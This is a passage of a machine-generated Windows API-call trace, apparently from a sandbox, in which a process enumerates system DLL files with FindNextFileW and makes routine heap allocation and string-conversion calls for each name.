RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.099] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.099] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.099] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.099] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d698b07, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x7d698b07, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="aclui.dll", cAlternateFileName="")) returned 1 [0210.099] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.099] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0210.099] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x92c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLUI.DLL", lpUsedDefaultChar=0x0) returned 9 [0210.099] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.099] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.099] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.099] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.099] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.099] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3bd2e0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d3bd2e0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d3bd2e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="acppage.dll", cAlternateFileName="")) returned 1 [0210.099] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.099] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0210.099] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x92c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACPPAGE.DLL", lpUsedDefaultChar=0x0) returned 11 [0210.099] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.099] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.099] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.099] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.099] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.099] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c37918, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c37918, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5c00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="ActionCenter.dll", cAlternateFileName="")) returned 1 [0210.099] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.099] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.099] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0210.100] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x92c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTER.DLL", lpUsedDefaultChar=0x0) returned 16 [0210.100] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.100] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.100] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.100] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.100] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.100] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c5da79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c5da79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x83400, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="ActionCenterCPL.dll", cAlternateFileName="")) returned 1 [0210.100] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.100] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0210.100] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x92c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTERCPL.DLL", lpUsedDefaultChar=0x0) returned 19 [0210.100] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.100] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.100] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.100] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.100] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.100] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9adf355b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9adf355b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ae196bb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="activeds.dll", cAlternateFileName="")) returned 1 [0210.100] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.100] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0210.100] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x92c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIVEDS.DLL", lpUsedDefaultChar=0x0) returned 12 [0210.100] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.100] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.100] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.100] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.100] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.100] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a81bf79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a81bf79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a8420d9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4ba00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="actxprxy.dll", cAlternateFileName="")) returned 1 [0210.100] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.100] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0210.100] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.100] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x92c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTXPRXY.DLL", lpUsedDefaultChar=0x0) returned 12 [0210.100] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.101] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.101] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.101] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.101] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.101] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa343f8c0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa343f8c0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d856840, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="admparse.dll", cAlternateFileName="")) returned 1 [0210.101] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.101] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0210.101] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x92c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMPARSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0210.101] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.101] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.101] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.101] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.101] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.101] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c6129e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c6129e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c873fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6b000, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="AdmTmpl.dll", cAlternateFileName="")) returned 1 [0210.101] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.101] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0210.101] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x92c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMTMPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0210.101] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.101] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.101] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.101] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.101] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.101] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f573ca, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe2f573ca, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dbea0b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="adprovider.dll", cAlternateFileName="")) returned 1 [0210.101] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.101] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0210.101] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.101] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x92c288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 14 [0210.101] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.101] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.101] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.101] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.101] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.101] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b68a4f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b68a4f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b68a4f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="adsldp.dll", cAlternateFileName="")) returned 1 [0210.102] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.102] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0210.102] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x92c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDP.DLL", lpUsedDefaultChar=0x0) returned 10 [0210.102] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.102] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.102] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.102] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.102] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.102] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f1b122, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf9f1b122, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="adsldpc.dll", cAlternateFileName="")) returned 1 [0210.102] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.102] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0210.102] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x92c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDPC.DLL", lpUsedDefaultChar=0x0) returned 11 [0210.102] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.102] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.102] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.102] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.102] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.102] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66b897d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf66b897d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="adsmsext.dll", cAlternateFileName="")) returned 1 [0210.102] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.102] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0210.102] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x92c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSMSEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0210.102] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.102] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.102] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.102] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.102] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.102] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad634c2, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfad634c2, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dcf4280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3fa00, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="adsnt.dll", cAlternateFileName="")) returned 1 [0210.102] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.102] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0210.102] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c288 [0210.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x92c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSNT.DLL", lpUsedDefaultChar=0x0) returned 9 [0210.103] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.103] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c288) returned 1 [0210.103] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92c120) returned 1 [0210.103] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e950) returned 1 [0210.103] RtlFreeHeap (HeapHandle=0x920000, Flags=0x0, BaseAddress=0x92e8c8) returned 1 [0210.103] FindNextFileW (in: hFindFile=0x37fd00, lpFindFileData=0x198f574 | out: lpFindFileData=0x198f574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fc81ff4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2fc81ff4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf1def050, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa6200, dwReserved0=0x3785f0, dwReserved1=0x0, cFileName="adtschema.dll", cAlternateFileName="")) returned 1 [0210.103] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e8c8 [0210.103] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x80) returned 0x92e950 [0210.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0210.103] RtlAllocateHeap (HeapHandle=0x920000, Flags=0x8, Size=0x40) returned 0x92c120 [0210.103] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x92c120, cbMultiByte=13, lpDefaultChar=0x0, 